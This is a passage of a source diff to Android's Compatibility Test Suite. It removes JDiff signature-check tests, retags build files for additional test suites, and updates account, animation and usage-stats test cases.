- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
- }
-
- public void testPrivateMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "privateMethod", Modifier.PRIVATE, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "private void privateMethod()");
- }
-
- public void testProtectedMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "protectedMethod", Modifier.PROTECTED, "java.lang.String");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
- }
-
- public void testThrowsMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "throwsMethod", Modifier.PUBLIC, "void");
- method.addException("android.signature.cts.tests.data.NormalException");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public void throwsMethod() " +
- "throws android.signature.cts.tests.data.NormalException");
- }
-
- public void testNativeMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nativeMethod", Modifier.PUBLIC | Modifier.NATIVE, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public native void nativeMethod()");
- }
-
- public void testFinalField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
- }
-
- public void testStaticField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
- }
-
- public void testVolatileFiled() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
- }
-
- public void testTransientField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "TRANSIENT_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public transient java.lang.String TRANSIENT_FIELD");
- }
-
- public void testPackageField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
- }
-
- public void testPrivateField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
- }
-
- public void testProtectedField() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
- }
-
- public void testFieldValue() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VALUE_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public static final java.lang.String VALUE_FIELD");
- }
-
- public void testFieldValueChanged() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
- JDiffClassDescription clz = createNormalClass(observer);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "VALUE_FIELD", "java.lang.String",
- Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"✈\"");
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(field.toSignatureString(),
- "public static final java.lang.String VALUE_FIELD");
- observer.validate();
- }
-
- public void testInnerClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "innerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
- }
-
- public void testInnerInnerClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerClass.InnerInnerClass",
- new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
- "innerInnerClassData", "java.lang.String", Modifier.PRIVATE, VALUE);
- clz.addField(field);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(),
- "public class NormalClass.InnerClass.InnerInnerClass");
- }
-
- public void testInnerInterface() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass.InnerInterface", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
- clz.setModifier(Modifier.PUBLIC | Modifier.STATIC | Modifier.ABSTRACT);
- clz.addMethod(
- new JDiffClassDescription.JDiffMethod("doSomething",
- Modifier.PUBLIC | Modifier.ABSTRACT, "void"));
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
- }
-
- public void testInterface() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalInterface", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.INTERFACE);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.addMethod(
- new JDiffClassDescription.JDiffMethod("doSomething",
- Modifier.ABSTRACT| Modifier.PUBLIC, "void"));
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public interface NormalInterface");
- }
-
- public void testFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public final class FinalClass");
- }
-
- /**
- * Test the case where the API declares the method not synchronized, but it
- * actually is.
- */
- public void testAddingSync() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = createNormalClass(observer);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "syncMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-
- /**
- * Test the case where the API declares the method is synchronized, but it
- * actually is not.
- */
- public void testRemovingSync() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "notSyncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * API says method is not native, but it actually is. http://b/1839558
- */
- public void testAddingNative() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nativeMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * API says method is native, but actually isn't. http://b/1839558
- */
- public void testRemovingNative() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "notNativeMethod", Modifier.NATIVE | Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- public void testAbstractClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "AbstractClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.checkSignatureCompliance();
- assertEquals(clz.toSignatureString(), "public abstract class AbstractClass");
- }
-
- /**
- * API lists class as abstract, reflection does not. http://b/1839622
- */
- public void testRemovingAbstractFromAClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.ABSTRACT);
- clz.checkSignatureCompliance();
- }
-
- /**
- * reflection lists class as abstract, api does not. http://b/1839622
- */
- public void testAddingAbstractToAClass() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "AbstractClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-
- public void testFinalMethod() {
- JDiffClassDescription clz = createNormalClass();
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- assertEquals(method.toSignatureString(), "public final void finalMethod()");
- }
-
- /**
- * Final Class, API lists methods as non-final, reflection has it as final.
- * http://b/1839589
- */
- public void testAddingFinalToAMethodInAFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * Final Class, API lists methods as final, reflection has it as non-final.
- * http://b/1839589
- */
- public void testRemovingFinalToAMethodInAFinalClass() {
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "FinalClass", new NoFailures());
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC | Modifier.FINAL);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "nonFinalMethod", Modifier.PUBLIC | Modifier.FINAL, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- }
-
- /**
- * non-final Class, API lists methods as non-final, reflection has it as
- * final. http://b/1839589
- */
- public void testAddingFinalToAMethodInANonFinalClass() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = new JDiffClassDescription(
- "android.signature.cts.tests.data", "NormalClass", observer);
- clz.setType(JDiffClassDescription.JDiffType.CLASS);
- clz.setModifier(Modifier.PUBLIC);
- JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
- "finalMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- clz.checkSignatureCompliance();
- observer.validate();
- }
-}
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index cb13016..618a9bc 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleCpuTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
index 877f1b6..c5f072e 100644
--- a/tests/simplecpu/jni/Android.mk
+++ b/tests/simplecpu/jni/Android.mk
@@ -26,4 +26,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 3f6ad38..f5ac4fa 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -22,7 +22,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsAccountTestsCommon ctstestrunner
+ CtsAccountTestsCommon ctstestrunner legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -35,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 2a4f8d3..924b378 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -38,7 +38,7 @@
LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
index 795fcd6..c940c3f 100644
--- a/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
+++ b/tests/tests/accounts/src/android/accounts/cts/AccountManagerTest.java
@@ -2297,9 +2297,32 @@
try {
StrictMode.setThreadPolicy(
new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyDeath().build());
+ // getAccounts()
Account[] accounts = am.getAccounts();
assertNotNull(accounts);
assertTrue(accounts.length > 0);
+
+ // getAccountsAndVisibilityForPackage(...)
+ Map<Account, Integer> accountsAndVisibility =
+ am.getAccountsAndVisibilityForPackage(PACKAGE_NAME_PRIVILEGED, ACCOUNT_TYPE);
+ assertNotNull(accountsAndVisibility);
+ assertTrue(accountsAndVisibility.size() > 0);
+
+ // getAccountsByType(...)
+ Account[] accountsByType = am.getAccountsByType(ACCOUNT_TYPE);
+ assertNotNull(accountsByType);
+ assertTrue(accountsByType.length > 0);
+
+ // getAccountsByTypeForPackage(...)
+ Account[] accountsByTypeForPackage =
+ am.getAccountsByTypeForPackage(ACCOUNT_TYPE, PACKAGE_NAME_PRIVILEGED);
+ assertNotNull(accountsByTypeForPackage);
+ assertTrue(accountsByTypeForPackage.length > 0);
+
+ // getAccountsByTypeAndFeatures(...)
+ am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, null /* features */, null, null);
+ am.getAccountsByTypeAndFeatures(ACCOUNT_TYPE, REQUIRED_FEATURES, null, null);
+
} finally {
StrictMode.setThreadPolicy(oldPolicy);
}
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 6c74c5c..adfd51f 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
index b4dea87..023032a 100644
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ b/tests/tests/alarmclock/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Configuration for AlarmClock Tests">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAlarmClockService.apk" />
diff --git a/tests/tests/alarmclock/common/Android.mk b/tests/tests/alarmclock/common/Android.mk
index ec0022b..039ca5c 100644
--- a/tests/tests/alarmclock/common/Android.mk
+++ b/tests/tests/alarmclock/common/Android.mk
@@ -28,6 +28,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 14fdd5d..3873ddb 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 2aeac88..c625cbe 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -30,13 +30,14 @@
android-common \
compatibility-device-util \
ctstestrunner \
- platform-test-annotations
+ platform-test-annotations \
+ legacy-android-test
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 91ee76d..9453183 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Animation test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 82b54cd..8a5e974 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -24,6 +24,7 @@
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.timeout;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
@@ -38,6 +39,7 @@
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
import android.view.animation.AccelerateDecelerateInterpolator;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.LinearInterpolator;
@@ -860,6 +862,47 @@
}
/**
+ * Test that when a child animator is being manipulated outside of an AnimatorSet, by the time
+ * AnimatorSet starts, it will not be affected, and all the child animators would start at their
+ * scheduled start time.
+ */
+ @Test
+ public void testManipulateChildOutsideOfSet() throws Throwable {
+ final ValueAnimator fadeIn = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 0f, 1f);
+ fadeIn.setDuration(200);
+ final ValueAnimator fadeOut = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 1f, 0f);
+ fadeOut.setDuration(200);
+
+ ValueAnimator.AnimatorUpdateListener listener = mock(
+ ValueAnimator.AnimatorUpdateListener.class);
+ fadeIn.addUpdateListener(listener);
+
+ AnimatorSet show = new AnimatorSet();
+ show.play(fadeIn);
+
+ AnimatorSet hideNShow = new AnimatorSet();
+ hideNShow.play(fadeIn).after(fadeOut);
+
+ mActivityRule.runOnUiThread(() ->
+ show.start()
+ );
+
+ verify(listener, timeout(100).atLeast(2)).onAnimationUpdate(fadeIn);
+
+ AnimatorListenerAdapter adapter = mock(AnimatorListenerAdapter.class);
+ hideNShow.addListener(adapter);
+ // Start hideNShow after fadeIn is started for 100ms
+ mActivityRule.runOnUiThread(() ->
+ hideNShow.start()
+ );
+
+ verify(adapter, timeout(800)).onAnimationEnd(hideNShow, false);
+ // Now that the hideNShow finished we need to check whether the fadeIn animation ran again.
+ assertEquals(1f, mActivity.view.getAlpha(), 0);
+
+ }
+
+ /**
*
* This test verifies that custom ValueAnimators will be start()'ed in a set.
*/
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index f8bab5b..f8a8092 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -24,17 +24,17 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
android-support-test \
+ ctstestrunner \
junit \
- legacy-android-test
+ legacy-android-test \
+ ub-uiautomator \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index fcb1d5a..b475cea 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
@@ -281,7 +281,8 @@
exerciseRemoteHost(network, mUrl);
mEndTime = System.currentTimeMillis() + mTolerance;
success = true;
- metered = mCm.getNetworkInfo(network).isMetered();
+ metered = !mCm.getNetworkCapabilities(network)
+ .hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
synchronized(NetworkUsageStatsTest.this) {
NetworkUsageStatsTest.this.notify();
}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index d900292..a1b5a71 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -18,27 +18,30 @@
import android.app.Activity;
import android.app.AppOpsManager;
-import android.app.Instrumentation;
import android.app.usage.UsageEvents;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.Context;
import android.content.Intent;
import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
import android.test.InstrumentationTestCase;
+import android.util.SparseLongArray;
-import java.io.FileInputStream;
-import java.io.IOException;
+import com.android.compatibility.common.util.CddTest;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.Ignore;
+
import java.text.MessageFormat;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
-
-import android.util.SparseLongArray;
-import junit.framework.AssertionFailedError;
-import org.junit.Ignore;
+import java.util.concurrent.TimeUnit;
/**
* Test the UsageStats API. It is difficult to test the entire surface area
@@ -54,23 +57,27 @@
* along with the new time.
* - Proper eviction of old data.
*/
+@CddTest(requirement="9.8.1/C-1-1")
public class UsageStatsTest extends InstrumentationTestCase {
private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
- private static final long MINUTE = 1000 * 60;
- private static final long DAY = MINUTE * 60 * 24;
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
+ private static final long DAY = TimeUnit.DAYS.toMillis(1);
private static final long WEEK = 7 * DAY;
private static final long MONTH = 30 * DAY;
private static final long YEAR = 365 * DAY;
private static final long TIME_DIFF_THRESHOLD = 200;
+ private UiDevice mUiDevice;
private UsageStatsManager mUsageStatsManager;
private String mTargetPackage;
- private ArrayList<Activity> mStartedActivities = new ArrayList<>();
@Override
protected void setUp() throws Exception {
+ super.setUp();
+ mUiDevice = UiDevice.getInstance(getInstrumentation());
mUsageStatsManager = (UsageStatsManager) getInstrumentation().getContext()
.getSystemService(Context.USAGE_STATS_SERVICE);
mTargetPackage = getInstrumentation().getContext().getPackageName();
@@ -78,13 +85,6 @@
setAppOpsMode("allow");
}
- @Override
- protected void tearDown() throws Exception {
- for (Activity activity : mStartedActivities) {
- activity.finish();
- }
- }
-
private static void assertLessThan(long left, long right) {
if (left >= right) {
throw new AssertionFailedError("Expected " + left + " to be less than " + right);
@@ -101,28 +101,16 @@
private void setAppOpsMode(String mode) throws Exception {
final String command = MessageFormat.format(APPOPS_SET_SHELL_COMMAND,
getInstrumentation().getContext().getPackageName(), mode);
- ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
- .executeShellCommand(command);
- try (FileInputStream fis = new FileInputStream(pfd.getFileDescriptor())){
- final byte[] buffer = new byte[4096];
- while (fis.read(buffer) != -1) { }
- } finally {
- try {
- pfd.close();
- } catch (IOException e) {
- // Ignore.
- }
- }
+ mUiDevice.executeShellCommand(command);
}
private void launchSubActivity(Class<? extends Activity> clazz) {
- final Instrumentation.ActivityResult result =
- new Instrumentation.ActivityResult(0, new Intent());
- final Instrumentation.ActivityMonitor monitor =
- new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
- getInstrumentation().addMonitor(monitor);
- launchActivity(mTargetPackage, clazz, null);
- mStartedActivities.add(monitor.waitForActivity());
+ final Context context = getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(mTargetPackage, clazz.getName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ mUiDevice.wait(Until.hasObject(By.clazz(clazz)), TIMEOUT);
}
private void launchSubActivities(Class<? extends Activity>[] activityClasses) {
@@ -323,7 +311,9 @@
startTime, endTime);
assertFalse(stats.isEmpty());
- setAppOpsMode("default");
+ // We set the mode to ignore because our package has the PACKAGE_USAGE_STATS permission,
+ // and default would allow in this case.
+ setAppOpsMode("ignore");
stats = mUsageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_BEST,
startTime, endTime);
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index d710ce8..bd679a4 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -35,6 +35,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app/AndroidTest.xml b/tests/tests/app/AndroidTest.xml
index 02eb825..c9ee968 100644
--- a/tests/tests/app/AndroidTest.xml
+++ b/tests/tests/app/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for app Tests">
<option name="config-descriptor:metadata" key="component" value="misc" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidAppTestCases.apk" />
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index ca17ca6..2d74ed0 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -33,7 +33,7 @@
compatibility-device-util
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
index 9746d2b..f949836 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.mk
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
